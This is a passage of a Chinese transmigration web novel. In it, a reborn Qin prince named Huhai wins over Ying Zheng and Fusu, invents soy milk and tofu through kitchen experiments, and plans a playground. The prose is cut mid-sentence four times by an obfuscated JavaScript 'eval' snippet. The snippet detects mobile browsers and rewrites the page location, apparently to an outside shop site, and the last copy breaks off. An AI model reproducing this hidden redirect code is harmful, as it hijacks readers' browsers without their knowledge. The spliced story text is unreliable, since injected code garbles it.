秦朝以十月为岁首,十月就是亥月,暗含草木归根待春生之意。亥又为十二地支之末,又为“水辰”,对应秦德“水德”。合天时,契秦德。 嬴政正要定下,又迟疑了一下。 赢亥…… 赢扶苏…… 好像听起来不统一,最好再加一个字。 亥为水,水主智,智者远虑,“远”字? 嬴政写下“远亥”,读了两遍觉得不顺口,轻啧一声提笔抹掉。 嬴政继续往下想。 远,长远,长远之福,胡福。 胡为远。 胡亥? 亥为水,水主智,胡为远,远者谋深。 “赢胡亥。” “赢扶苏。” 他低声念出这两个字,声音笃定,在宫室中回荡开来。 嬴政满意地写下小十八的新名字,叫来侍从去告诉宗正和各处宫室,自己又继续回去批答奏疏。 赵乐秦,不,现在已经是嬴胡亥了。此时的他已经回到了自己的宫室,趴在踏上听小明读书,念的正是扶苏为幼弟精挑细选的《周南·桃夭》。 忽然接到大爹赐名的赵乐秦宛若晴天霹雳,他嗷地一声倒在榻上,用拳头咚咚咚砸着布老虎,沉痛缅怀自己从此失去的真名。 但赵乐秦不知道,在他今天超绝逻辑的冲击下,这套“父王强呀课业轻”的理论就像“你爱我呀我爱你”时不时的在耳边响起,深深地印在了扶苏的脑海。 在这种堪比克苏鲁的污染下,后来扶苏每收到大秦又灭一国的消息,脑子里第一个浮现的念头竟然是:完了,我又白学了! · 痛失真名的赵乐秦化悲愤为动力,开始勤勤恳恳攻略扶苏和嬴政。 自从在扶苏面前刷脸过后,只要天气允许,他就会去扶苏那里打一次卡。 有的时候是上午,有的时候是下午。或许会捎一束花,偶尔分享一颗漂亮的小石头,有时候是带上自己在庖厨亲手、不,是亲自吩咐做的新奇食物。除了这些,赵乐秦还经常顶着幼崽壳子疯狂撒娇。 渐渐地,扶苏习惯了会不定时冒出的幼弟。 ——阿弟爱我。 除了正面攻略,赵乐秦还会找机会放飞自我、比格附体。 不给弟弟收拾烂摊子的哥哥算什么好哥哥?扶苏阿兄以后的好日子多着呢! 至于会不会挨打?这时候就要懂得策略了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124593|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比如前两日,赵乐秦又暗戳戳溜到扶苏宫室,想像往常一样捣乱。 可扶苏早就被他捉弄惯了,心里隐隐似有预感,还没等坏弟弟伸手,便倏地转身,一把将人逮了个正着。 赵乐秦当即眨着湿漉漉的眼睛软软地道歉,然后拉起扶苏的手,把自己的漂亮脸蛋塞到他手里。 扶苏看着幼弟可怜兮兮让他出气的模样,哪里再舍得责怪一句重话?望着赵乐秦红红的眼睛,扶苏反而要哄着幼弟不要哭,满口许诺“会永远照顾阿弟”呢。 ——嗐,坏弟弟略略出手,好哥哥扶苏便被迷的七荤八素。 相比之下,赵乐秦去嬴政那边刷脸的次数要少很多。毕竟胡亥还指望着始皇陛下夙兴夜寐,好好奋斗,早日打下华夏江山! 不过次数少归少,赵乐秦还是会认真扮演一个贴心幼子。什么“给阿父最好看的花”,让侍从送到嬴政床榻边,希望他晚上做个好梦啦;什么扑到嬴政怀里贴贴,冒着星星眼夸赞“阿父是王中的王,我最敬仰的人就是阿父”啊;或者热情地给大爹送去一些食物,表示“我吃到这个觉得很好吃,就想起了阿父”“忧阿父之身”云云。 嗐,内敛的老秦人哪见识过这个! 比起爱在心口难开的一众老实小孩,狡猾的赵乐秦又是仗着幼崽壳子贴贴,又是满嘴甜言蜜语。一套丝滑小连招下来,不知不觉间,嬴政对他关注度越来越高,甚至隐隐和扶苏齐平了。 不过,嬴政虽然对幼子的撒娇欣然接受,但是他对于赵乐秦喜欢送食物这点敬谢不敏。 可是赵乐秦好不容易告别了难吃的糊糊,那是恨不得拉着秦王一起投身饮食文化建设。 ——拜托,不会吃算什么华夏人! 从开始钻研食案上那些事儿后,赵乐秦送给嬴政的食物便开始富有创意。 对此,嬴政真的很想说,他有正常的好饭吃,不必再送。 但话又说回来,幼子跟个小太阳似的兴冲冲来了,每次嬴政话到嘴边,但看到赵乐秦一脸孺慕的小表情,到底是把到嘴边的拒绝咽了下去。 嬴政在心里反复劝自己。 孩子还小。 孩子孝心可嘉。 所以,无论赵乐秦送来的食物卖相有多么诡异,嬴政总是在侍从试毒后,先小心尝上一口,再决定是将剩下的用完,还是分给近臣侍从。最后,他总会嘴角微翘,雷打不动地听一番“十八公子孝顺非常”的夸赞。 不过虽然大爹装得八风不动,赵乐秦能猜不到他的痛苦吗? 且不说送食物之前他都要尝一尝的,他亲自指挥做出来的,还能不知道有多么难吃吗? 不过赵乐秦才不管——小孩子哪能面面俱到! 邪恶比格嘿嘿一笑: 这种级别的好心办坏事,不过是毛毛雨啦; 等他再长大点,那时候要整的活才是正餐呢! 8. 1号实验 庖厨里,已经和十八公子非常熟悉的大娘出声询问:“公子,您看这个行吗?” 她手脚麻利地把过滤出的生豆浆倒入木碗中,盛给一脸期盼的幼崽看。 赵乐秦扒拉一下小明的手臂,指挥道:“把我抱近一点。” 小明谨慎地抱着赵乐秦往前移了一步,赵乐秦低头端详着,又伸头嗅了嗅。 味道不对吧?是不是磨出来后还得煮一下? “再煮一煮吧。” 大娘哎了一声,把刚刚生豆浆又倒入陶釜,然后架在灶上开始煮。 不一会儿,陶釜里的豆浆咕嘟嘟的冒出好多泡沫,大娘见状赶紧把陶釜抬了下来,又倒出一点盛到赵乐秦面前。 赵乐秦嘶了一声。 为什么他总觉得还是不太对头,似乎还是有一股子豆腥味? 赵乐秦的猜测是对的。豆子里面有皂苷,加热豆浆的过程中,皂苷受热膨胀产生大量白色泡沫,看起来像是沸腾了,其实这时的水温只有八九十度。 这种假沸的豆浆,恒河中浪里白条的强人喝了可能没事,但是就大秦现在流行的巫医救治法,赵乐秦这种小孩子喝了,基本便可以等待头七了。 赵乐秦思索了一番,觉得还是要谨慎一点。 “你再使劲煮一煮。找个长柄的勺子,如果冒泡就用它把豆浆舀起来,然后扬高再倒回去。” 大娘依言照做,一时间,哗啦啦的动静吸引了庖厨所有人的目光。 赵乐秦默默地看着庖厨里的众人不断反复路过,然后对着一个不断偷瞄的小孩轻轻一咳嗽。小孩慌张地扭回头,死死盯着自己烧火的灶,这才发现那里头的火都快灭了,连忙使劲添柴。 又过了半个小时,咕嘟嘟冒泡的豆浆逐渐弥漫开香气。 赵乐秦鼻子动了动,情不自禁地咽了一下口水。 赵乐秦抬头,和一直在勤勤恳恳地扬汤止沸的大娘对视一眼,随即重重点头。 “好了!” 在庖厨众人明里暗里的视线下,大娘拿起一直摆在手边的厚布,拎着陶釜上的绳索把它从灶上抬下来,然后给赵乐秦倒出一碗。 赵乐秦盯着这碗热气腾腾的豆浆,下一瞬,小明的胳膊就横在了赵乐秦眼前。 “公子,可否让臣先为公子验过?” 虽然小明观看了全程,但孩童身体脆弱,谨慎的小明不敢冒险。 赵乐秦无奈地挥挥手同意。 等豆浆冷到可以入口,又等小明喝下整整半个小时,小明才对着已经开始神游的赵乐秦报告:“公子,臣并无不适。且此浆味甘,饮之甚佳。” 赵乐秦欢呼一声,然后大方地一挥手:“大家都尝尝吧。” 等小明给赵乐秦倒了一碗后,庖厨里所有人都围上前去,每人分得了一小碗,高高兴兴地品尝十八公子做出的新鲜玩意。 赵乐秦也喝了自己的一碗,在一声声夸赞声中咧嘴一笑。 来都来了,他一定会丰富大秦的餐桌的! 赵乐秦等大娘喝完,请她再做一锅豆浆出来,他要给大爹和好阿兄送一份。 大娘立刻肃颜应诺,撸起袖子就开始忙碌。 赵乐秦让小明把他抱出庖厨,一屁股坐在去年同样的位置。 秋日的阳光晒得人暖融融的,赵乐秦的圆眼眯成了一条线,他伸了个懒腰,舒坦地躺了下来。 赵乐秦开心地招呼站在一旁的小明:“坐呀!” 小明面上闪过犹豫之色,依言跪坐,望向懒洋洋的赵乐秦,低声道:“公子,臣不该怀疑公子在玩食物。臣请公子责罚。” 赵乐秦扭头,只见小明简直坐立不安,明显恨不得弹起来行个大礼。 “没事,前面我也没做出来什么好吃的嘛。再说了,你进行劝阻是职责所在,毕竟我还不到两岁。” 小明一脸认真:“但臣未能体察公子的本意,是臣之误,臣以后绝不会再犯。” 赵乐秦挥了挥手:“好啦,我就知道明你贴心又负责,以后还是该劝劝,我毕竟还小嘛!不过你放心,我是不会浪费食物的。” 小明朗声应诺,秋日的阳光为两个人镀上一层金边。 其实小明会误解真的太正常了,因为赵乐秦在想办法复现记忆里的美食时,真的被迫走了很多弯路。 经常穿越的人都知道,秦国都算不上是美食荒漠,这个时期应该被叫做美食蛮荒。想吃炒菜从铁锅做起,想吃炸串从榨油开始。大秦这种艰苦的条件,带英留学生看了都得爱上仰望星空。 当赵乐秦意识到这一点时,他惊恐地去看了眼秦宫里磨面粉的石磨。不看不知道,赵乐秦绝望的发现,这时候的石磨的效率和设计之原始,放博物馆里说不定都能混个一级文物当当! 而大秦不仅对食物的加工方式及其野蛮,调料和食材的种类本身也相当凋零——伟大的张骞此时还未出生,华夏餐桌还没有迎来他的king。而赵乐秦的厨艺基本取决于家里调料的水平,一旦失去了橱柜里的方便面包、火锅底料、浓汤宝……那赵乐秦只能——点外卖! 但既然已经穿越到了大秦,看样子至少还得活个几十年。赵乐秦还是坚强地支棱起来,以一个还没灶台高的小身板,毅然决然地开始庖厨的奋斗。 奋斗的结果嘛…… 靠着赵乐秦的抽象描述,《餐桌计划》成功诞生了不少让人眼前一黑,吃了发现心也要黑了的创意食物。 直到今天,半步学徒赵乐秦把目光投向了豆子。靠着这段时间摸索的经验,以及语言本土化后和庖厨众人逐渐顺畅的交流,在真正的半步厨神的大娘出手下,美食蛮荒之秦,诞生了伟大的、划时代的第一锅豆浆。 · 咸阳宫。 一个侍从立在门口,远远地瞧见一人提着食盒走了过来,他清了清嗓子,然后压低声音对着看过来的同伴道:“你看。十八公子又派人来为王上送食物了。”那人也低低地回应:“就是不知道这次十八公子要送什么。” 说话间,提着食盒的那人已经到了,他取下符牌递上了去。侍从接过符牌略略一看,便把来人放了进去。 进入宫内,一个穿着细麻的高级侍从看到来人,立刻走过来迎接:“明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124594|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来了。” 他熟练地打开盖子,先仔细观察了一下,又凑近嗅嗅,随即长舒了一口气。 那侍从又抬头看了一眼面色红润的小明,有点艳羡。 ——这竖子在王上身边时还没这么胖呢! 小明眼中含笑,主动开口道:“这是用豆做的浆……”他给侍从解释了一遍做法,又客套几句才离开。 豆浆按规矩先过试毒流程,等送到嬴政面前,早凉得透底,是重新加热过的了。 嬴政看着漆卮里卖相不错的豆浆,先闻了一下味道,又观察了一下色泽,颇有些惊奇。 他端起来,先微尝一勺,然后一口干了。 嬴政放下空了的漆卮问侍从:“这是什么做的?” “据说是用豆做的。先研磨成糊,再过滤去渣,最后取浆水煮熟。” 嬴政觉得这东西挺合他的口味,想想这段时间各种奇奇怪怪的食物,他都……好吧,他也没吃,大都赏给了丞相隗状。 嬴政顿时觉得有必要鼓励一下幼子,他略一沉思,开口道:“十八公子作新食,味佳,孝行笃厚,赐金十镒、玉器一套、帛五匹。” 哪怕是为了自己的肚子,嬴政也要对孩子的成功好好鼓励一番。 而收到赏赐的赵乐秦就有些惊讶了,但不是因为赏赐的东西,而是赏赐的名头。 傲娇大爹才不会像赵乐秦一样大大方方地说什么“我爱你”,嬴政表达宠爱的方式就是砸钱。在赵乐秦把嬴政的好感度刷高后,大爹隔三差五便会给赵乐秦赐下好东西。 也幸亏如此,不然赵乐秦每天在庖厨捣鼓来捣鼓去,他早就没钱买原料了。 而且赵乐秦也不好意思让大娘一个人打两份工,虽然大娘的背是一天比一天直,看起来相当自豪的样子,但赵乐秦觉得自己最好还是得表示一下。那主庖都给补贴了,旁边也帮忙的后厨人员多少不也沾点光?这么一来,赵乐秦还真没太多存款,大都是等着金主爸爸打赏。 但赵乐秦收到嬴政的赏赐多了,专门点出“味佳”还是头一回。想到这,赵乐秦顿时有点绷不住了。难道是他这段时间搞黑暗料理太多,把嬴政搞怕了? 赵乐秦默默回想了一下,然后果断住脑。 他要再做点东西出来,好好洗刷一下自己的形象。 小明再次抱着赵乐秦走到庖厨,正好庖厨里的众人都在热火朝天地做豆浆——谁不好奇被王上称赞的稀罕饮品?反正各宫的贵人们听说了都很想尝尝。 大娘看到十八公子到来,连忙小跑着迎了上去,带领众人行礼。 赵乐秦摆摆手让众人去忙自己的活,只留下了主庖大娘。 大娘笑着地开口问道:“公子有何吩咐?” 赵乐秦清清嗓子,张口就来了一段:“今日获得了王上的称赞,但是,我们不能骄傲自满,一定要再接再厉,再创辉煌。发挥拼搏精神,取得更好成绩!” 大娘面色有些迷茫,她迟疑地开口问道:“所以……公子是要?” 赵乐秦笑得一脸灿烂,兴致勃勃地宣布:“我们来进行一号实验!” 9. 这分明是天命在秦 庖厨里,所有人的动作都可疑地顿了一下。 所谓的“一号实验”,就是赵乐秦迫于残酷的现实,发挥科学理念创造出的“庖厨穷举法”: 反正食材也不是很丰富,调料也就那么几种,那我每样东西都拿出一小部分,进行排列组合,控制变量实验,总能试验出来点什么吧? 最近嬴政常常转赐给丞相隗状的食物中,里面有相当一部分就是这个伟大的、科学的一号实验创造出的妙妙产物。 虽然十八公子热情满满,并且对自己严谨又科学方法信心十足。 但,即便是代表着庖厨最高水平的主庖大娘,对此也实在难以苟同——不要说大娘本人没有见识过,就是大娘她阿母的阿母,老太太活了这么些年,也从来没听说过这种做饭方法啊! 幸亏赵乐秦的身份实在够高,庖厨众人哪怕觉得十八公子就是在瞎玩,也不敢丝毫违逆贵人的要求。 不过赵乐秦不知道的是,一开始庖厨众人单纯是怕惹了贵人不喜,给自己引来灾祸。但随着赵乐秦来的次数多了,大家逐渐发现,十八公子和其他贵人不同,公子从不把他们当会喘气物件,好像……他们在赵乐秦眼里是个人。 被干净的目光看久了,谁又愿意当污泥里的蝼蚁呢? 不就是出一把子力气吗?他们愿意陪着十八公子玩! 再说了,虽然公子前面做的东西……确实大部分都难以下咽。但是,今天公子不就成功了么!真不愧是王上的血脉! 不过就算见证了今日的成功,当赵乐秦宣布自己要再次搞“一号实验”的时候,正统做饭流的庖厨人还是有点绷不住。 但不理解归不理解,庖厨中的众人听到后互相对视一眼,自动分出一部分人手来帮忙。 赵乐秦要了一锅刚煮好的豆浆,让人把这锅豆浆倒进不同的木碗里,然后依次向温热的豆浆里倒入盐卤、酸浆等等一系列他猜测可能有用的东西,交代众人用木勺缓慢搅动,观察豆浆的变化。 很快,那个负责烧火的小孩惊呼一声,指着自己搅拌这碗兴奋地喊道:“有变化了!” 小明赶紧抱着赵乐秦走过去。赵乐秦探头一瞧,这碗豆浆在放了盐卤后,在勺子的搅拌下逐渐凝结成了絮状。 赵乐秦的眼睛一亮,立刻喊众人来准备不同温度的豆浆,配上不同浓度的盐卤,再重复一次实验。 控制变量法,启动! 半个时辰后,众人惊叹着注视着新鲜出炉的、看起来嫩生生的新食物。 这可是他们在十八公子的指挥下,一步步亲手试出来的! 小明自然又一把拦住公子蠢蠢欲动的手,严格执行了试毒流程,然后才盛给了跃跃欲试的赵乐秦。 在众人大快朵颐时,大娘端着属于自己的一碗先吃了一勺,然后放下勺子思考,片刻后开口问道:“公子,这个能不能再加点豆酱?” 赵乐秦有些惊讶地抬头,看到大娘有些忐忑的表情笑道:“当然可以。你还可以多试试不同搭配。” 大娘脸上顿时浮上了笑容,挺直腰板去研究配料了。 赵乐秦一边吃豆腐脑,一边扒拉着记忆思考豆腐怎么做。吃完,赵乐秦扬起小脸让小明给他擦嘴,然后给他比划着自己想要的方形木框。 神奇小明听懂了赵乐秦想要的东西后,就把赵乐秦转移到了另一个侍从的怀里,自己快步走出了庖厨。不出半个时辰,就拿回了赵乐秦期待的妙妙道具。 有了豆腐脑,再做豆腐就很简单了。 赵乐秦指挥着众人先把豆腐脑舀入铺有麻布的木框里,然后用石块压模脱水,每隔一段时间就打开看看,再切下一块尝尝味道,就这么一直实验出了第一版豆腐和豆腐干。 赵乐秦再次开始控制变量大法,把人分成几个小队实验不同配比,然后把第一版豆腐和豆腐干交给庖主大娘加工。 有了刚才的鼓励,大娘大胆地开始尝试各种做法。她把食材分成小份,把赵乐秦提出的、自己想到的做法都试了一遍,甚至有些菜品的味道连赵乐秦都觉得相当不错。 等半步厨神确定好菜色,已经日落西斜。大娘研究做法时,新的豆腐和豆干源源不断地出来,逐渐堆成小山。不仅是赵乐秦,今天庖厨上下所有人都吃了个肚圆。 赵乐秦想了想,赶早不赶晚,决定先给嬴政送一波再说,当即派小明领三四个人去咸阳宫送外卖。 · 勤勤恳恳工作的嬴政,再次收到了赵乐秦送来的新食物。 侍从进来禀告时,嬴政刚好和丞相隗状商讨完国事。没有来得及撤退的隗状脸上八风不动,心里暗暗叫苦。 从十八公子开始往咸阳宫送食物后,王上不知怎的便养成了给心腹近臣分食的习惯。而他官职最大,来的咸阳宫的次数最多,也因此深深感受到了十八公子对王上一片孝心。 一开始十八公子送的食物虽然常见,但味道中规中矩,他吃完后夸一夸“孝顺聪颖”也就罢了。最近不知怎的,十八公子送来的食物,净是一些他想都没有想过的搭配,他瞧着都不太敢张嘴。 隗状微不可查地叹气。 虽然王上体谅他年纪大了,特别硬的食物并不会赐给他吃。但他碰上了总不能当没看见,每次都得从不同角度夸。从孝顺夸到聪颖,从才智过人又夸到仁孝敦厚,他真的快没词了! 嬴政听侍从汇报这次赵乐秦送来的比较多,果断地留下了隗状——反正这段时间下来,他的近臣们,尤其是丞相对这事儿早就习惯了。 听到传令后,一长串侍从端着做法、食材不一的菜肴,从殿门鱼贯而入。十几样或嫩白如玉脂、或微黄似肉的食物一字排开。 嬴政有些惊讶,这次做的食物竟然看起来也不错? 被创了多次的秦王冷静一瞬,理智地让侍从把菜肴分给丞相一部分,自己也挑了几样开始品尝。 侍从恭敬一礼,难掩惊叹地向王上开始讲述庖厨里的“一号实验”。 嬴政逐渐放缓了吃菜的速度。 ——高贵的秦王什么没见过? ——高贵的秦王这真没见过。 同样竖起耳朵在听的隗状都有点震撼了,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124595|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做菜的思路…… 听着听着,嬴政敏锐地抓到重点,他搁下筷子,开口打断侍从:“你是说,一石豆子就可以制出三石豆腐?” 一旁的隗状正吃得格外开心。十八公子这次送来的食物分外适合他的牙口,卖相和味道都很不错,实在是机会难得。 听到嬴政的话,隗状顿时也意识到了重点。他也坐直了身体,放下筷子向侍从看去。 侍从确定地回复道:“是的。十八公子派了侍从明为王上送食,侍从明给臣讲解制作流程时是这样说的。” 嬴政和隗状对视一眼,国家一把手和二把手的脑子瞬间同频了。 隗状当即面带喜色起身,他快步走到殿中间,高声行礼恭贺:“臣为王上贺!”一番动作丝滑无比,看起来灵活得简直不像一个五十多岁的老头。 嬴政抚掌大笑:“快快平身!”接着连声催促侍从:“去把明召来。” 高素质秘书小明很快赶来,在秦王和丞相如狼似虎的目光下,条理清晰地汇报了豆子和各类豆制品之间的产出比率、制作难度,听得嬴政和隗状连连颔首。 嬴政轻轻敲击着食案,听完小明的汇报后,语气缓和地下令:“甚善!明,即日起,速试新食藏法,务令其久存不腐。若有良策,速来奏报。” 小明当即行礼称诺,恭敬离去。 在一旁默默旁听的隗状适时开口:“王上,十八公子此次所献之物非凡,非但能滋我大秦黔首之数,更藏特异之利。” 沉思的嬴政望向隗状,只见老丞相捋着胡子,面色万分感慨。 “臣今年五十有七,年老体衰,牙齿早就支撑不了臣食用麦饭。臣是一国丞相,即便不食麦饭,也可吃糜、吃粥。用些精食,总能活得下去。而庶民则不同,他们一旦年老失去牙齿,又吃不起精细的食物,他们又能怎么办呢?而且相比达官贵人,庶民的牙齿往往早早磨损,他们更需要柔软易食的食物。十八公子这次所献之物,实可活人无数。” 隗状话毕,眼中精光一闪,声音陡然拔高:“此乃天命在秦!臣请王上赏十八公子,宣扬大秦祥瑞。” 嬴政听到隗状的话眉峰一挑,看着人老成精的丞相,屈着食指往他的方向轻点两下,眉眼间全是藏不住的笑意:“彩!彩!”。 侍从在嬴政的大笑声中齐声恭贺:“天命在秦!天命在秦!”整个咸阳宫里,从上到下都喜气洋洋,一时间好像过了年般热闹。 而此时的赵乐秦早就睡着了。 忙了一天的幼崽睡得四仰八叉,对自己带给咸阳宫的热闹一无所知。 赵乐秦的睡相相当不老实,他一脚把被子踢到地上,然后打了个滚,整个人旋转了180度,脚放在枕头上后又打起了小呼噜。旁边守夜的小明把被子捡起拍了拍,把颠倒的幼崽摆正,又轻轻地把被子盖回去。 夜渐渐深了,整个秦宫都陷入沉睡。 这样的安静一直持续到第二天,精力旺盛的赵乐秦早早醒来,看向床边来自榜一大哥的巨额打赏,发出了一声快活的尖叫。 “噫!我发了!” 10. 我的儿子是个天才吗? 虽然除了赵乐秦这个开挂的,大秦上下压根没人懂什么叫“低成本高蛋白”、“富含多种维生素”,但随着豆制品的技术逐渐在全国推广开来,普遍极度缺乏营养的百姓们吃着吃着,就慢慢回过味儿了:这绝对是个好东西! 体弱的人生病少了,家里的老人有劲儿了,孕妇和孩童活下来了。 朴实的百姓满腔情感无处抒发,听说这东西是“上天保佑大秦,指引十八公子”得来的,便给豆腐起名叫“十八安”,希望十八公子能一生平安。等赵乐秦偶然间再听到这消息时,口口相传的故事已经多次迭代。神乎其神的“十八安”豆腐已经有了启智、强身等十八种功效,直听得赵乐秦目瞪口呆。 虽然民间更喜欢豆腐,但嬴政则是更看重豆干——倒不是他喜欢吃,而是豆干耐储存、重量轻,太适合当军粮了。那天小明接到嬴政的命令后便开始研究,很快就注意到了格外耐放的豆干,除了耕就是战的老秦之魂顿起,立刻建议把豆干纳入军粮。 不过这一切对于赵乐秦来说早就翻篇了。 暴富的幼崽找到了新的乐子——尚方署! 尚方署是少府下属核心工坊,主要负责制作各种器物,大到刀剑礼器,小到木马铜偶。赵乐秦发现这个风水宝地后,立刻撒娇卖乖向大爹要来了手令。 赵乐秦食指和拇指捏出一个让韩男破防的手势,黑白分明的眼睛闪闪发亮: 孩子只想做“一点点”玩具,能有什么坏心眼? · 一大早,赵乐秦的宫室旁便人声鼎沸。 赵乐秦的宫室旁是一片空旷的草地,但因现在挤满了人,乌压压得甚至显得有些拥挤。 赵乐秦指挥着侍从举高自己的设计图。 “再高一点……啊,往左……” “很好,就这样!” 几块薄木板拼接的巨大板子上,赫然画着一个小型游乐场。 赵乐秦被小明抱着,手里握着一根细竹竿,在示意图上敲敲点点。这竹竿足足是他身高两倍长,被小明打磨的光滑无比,是赵乐秦最近的心头好。 赵乐秦高高举起竹竿挥了两下,众人立刻安静下来。 他对着身边一个方脸男子点了下头:“安尚方,我想把这片地做成这种玩耍的地方。父王批准的手令已经给你看过了。你看看哪里还有困难?” 被称安尚方的男子四十多岁的模样,两边垂下来的长须像用尺子量过一样对称,听到赵乐秦发问,一开口声若洪钟:“公子资用丰足、方略周详,臣等并无困难。只是工程浩繁,需时颇久,敢请公子宽限时日。臣等一定竭尽所能。”他身后是数位穿着粗麻短褐的工匠,都随着上司的话连连点头。 赵乐秦听了满意地一挥手,开口道:“没事,这个大项目不着急,你们慢慢做。我想要的小玩具呢?” 赵乐秦说着拍拍小明的肩膀,小明会意地把已经讲完的公子放下来。 安尚方听到赵乐秦的询问,忙拱手道:“臣等奉公子之命,已钻研图样旬日有余。凡此玩具构件,尽以榫卯相扣、楔钉固连,不假胶漆、不藉锻铁,形制既合,坚牢亦足。此技乃百工之常法,必不负公子所托。” 赵乐秦有些无奈,这种技术人员一说话就是不说人话,他才两岁! 文盲幼崽在脑子里慢慢翻译了一遍。 ——哦,大佬是说这玩具可以全凭技术拼接,不需要用钉子之类的东西固定。 赵乐秦鼓励地拍一拍安尚方的膝盖:“很好!你们好好做,做好了我另有奖励!” 众人齐声应诺,旋即四散而去,各赴其事。 赵乐秦满意地看着安尚方领着众人干得热火朝天。 他大爹手下的人才是真多。本来赵乐秦还担心在大秦建游乐场的难度,但是去了一次尚方署后赵乐秦就豁然开朗了。 ——这种担心完全没有必要哇! 彼时赵乐秦头一回踏入尚方署,拿着手令直奔管事的安尚方。在赵乐秦描述了滑梯、攀岩墙之类的设施后,安尚方当场用手边的木片拼出了个小模型,还面带忧色:“是否符合公子要求?” 赵乐秦趴在漆案上,眼睛闪闪发亮,郑重地开口道:“大善!我的游乐场计划交给你了!” 看着安尚方松了口气的样子,赵乐秦微微眯起眼睛。 这种手工大佬连大型玩具都能手搓,那小玩意儿岂不是更手到擒来? 赵乐秦便开始从积木拼图讲到滑板棋牌,卡着大秦的技术条件,把自己想要的各种玩具数了个遍。而安尚方也是个妙人,他一边听,一边喃喃念着一些制作细节,丝毫不担心赵乐秦一个两岁小孩能不能听懂,和赵乐秦你来我往、叽里呱啦地讨论半天。 一旁的小明听得两眼发直,频频为两位倒水。 · 赵乐秦见游乐场开工,便带着小明开始日常溜达。 他随便挑了个方向,一边拿着竹竿敲敲打打,一边单方面和小明天马行空地瞎聊。 “明啊,”赵乐秦看着前面的墙,“我觉得,我未来可以做一个仗剑天涯的大侠” 幼崽气势汹汹,把手中的竹竿戳在墙上。 啪—— 赵乐秦被反震得虎口发麻,连忙换了个胳膊,使劲地甩甩被震疼的手。 就在赵乐秦大侠风范尽失的时候,忽然墙角草丛中冒出了一双眼睛。 赵乐秦的余光看到这一幕,顿时吓得魂飞魄散。 他扔掉竹竿蹬蹬蹬连退三步,唰一下抱住小明的腿,躲在后面大喊:“那里有个鬼东西?!” 小明被大侠紧紧搂住动弹不得,只好努力探头向赵乐秦指的地方看去。比起矮墩墩的赵乐秦,小明居高临下,一眼便看了个全——那分明是个趴在草丛里的小孩。 小明松了口气,他仔细又看两眼,面无表情地回复道:“公子,那里是一个小孩,好像是十九公子嬴荣禄。” 赵乐秦长舒一口气,随即松开小明的腿去捡扔掉的竹竿,然后恢复自己有节奏的八字步,举着竹竿走过去。 他把草拨开一看,里面确实趴着一个圆头圆脑的小孩。 才一岁的荣禄懵懂地望向赵乐秦,咧嘴一笑,露出两颗小米牙。 赵乐秦有些嫌弃地看着荣禄的口水,把小明护置身前:“明啊,交给你了。” 小明利索地弯腰抱起、擦嘴、拍土,一连串动作行云流水。被照顾的荣禄直傻乐,跟鲤鱼打挺一样蹬着腿,被小明牢牢抱住。 赵乐秦一招手:“走,我们去把荣禄送回去。” 小明一边小心地抱着乱扑腾的幼崽,一边尽职尽责地给公子讲解荣禄的情况:“十九公子的生母是张八子……” 两人走了一会儿,远远地就听到了寻人的喊声。拐了个弯儿后,前面的宫道旁边就是张八子的宫室。 赵乐秦抬眼望去,一个侍从打扮的年轻女人神色焦急,左顾右盼,明显在寻找什么。她听到动静一抬头,顿时发出一声尖叫:“找到了!找到了!” 随着这个侍从的喊声传开,赵乐秦看到更远处陆续有人赶来,估摸着都是找这小子的。 这个离得最近的侍从急急忙忙地跑来,她先快速扫了一眼小明怀里的小孩,然后连忙对着赵乐秦深深一礼:“十八公子安。多谢十八公子送来十九公子。” 赵乐秦被这绕口令一样的话逗笑了,示意小明把荣禄递过去,然后开口问道:“十九弟怎么会一个人趴在草丛里?” 侍从面带愧色,声音微微沙哑,哽咽道:“是臣失职,在十九公子小憩时出去了一趟,结果回来时便发现公子不见了。” 说话间,一个穿着单重曲裾深衣的女子冲了过来——是张八子听到消息赶来了。 张八子一把夺过高兴拍手的荣禄,她单臂抱起小孩,腾出的另一只手也没闲着,从头到脚摸了一遍荣禄的骨头。 被弄痒了的荣禄咯咯傻笑,张八子恨恨地戳了戳他的额头,长舒一口气。 赵乐秦呆呆地看着眼前这一幕,他一觉穿越到了秦朝,上辈子的爹妈再也见不到了,这辈子还是生而丧母。 正胡思乱想时,赵乐秦忽然感到眼前投下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 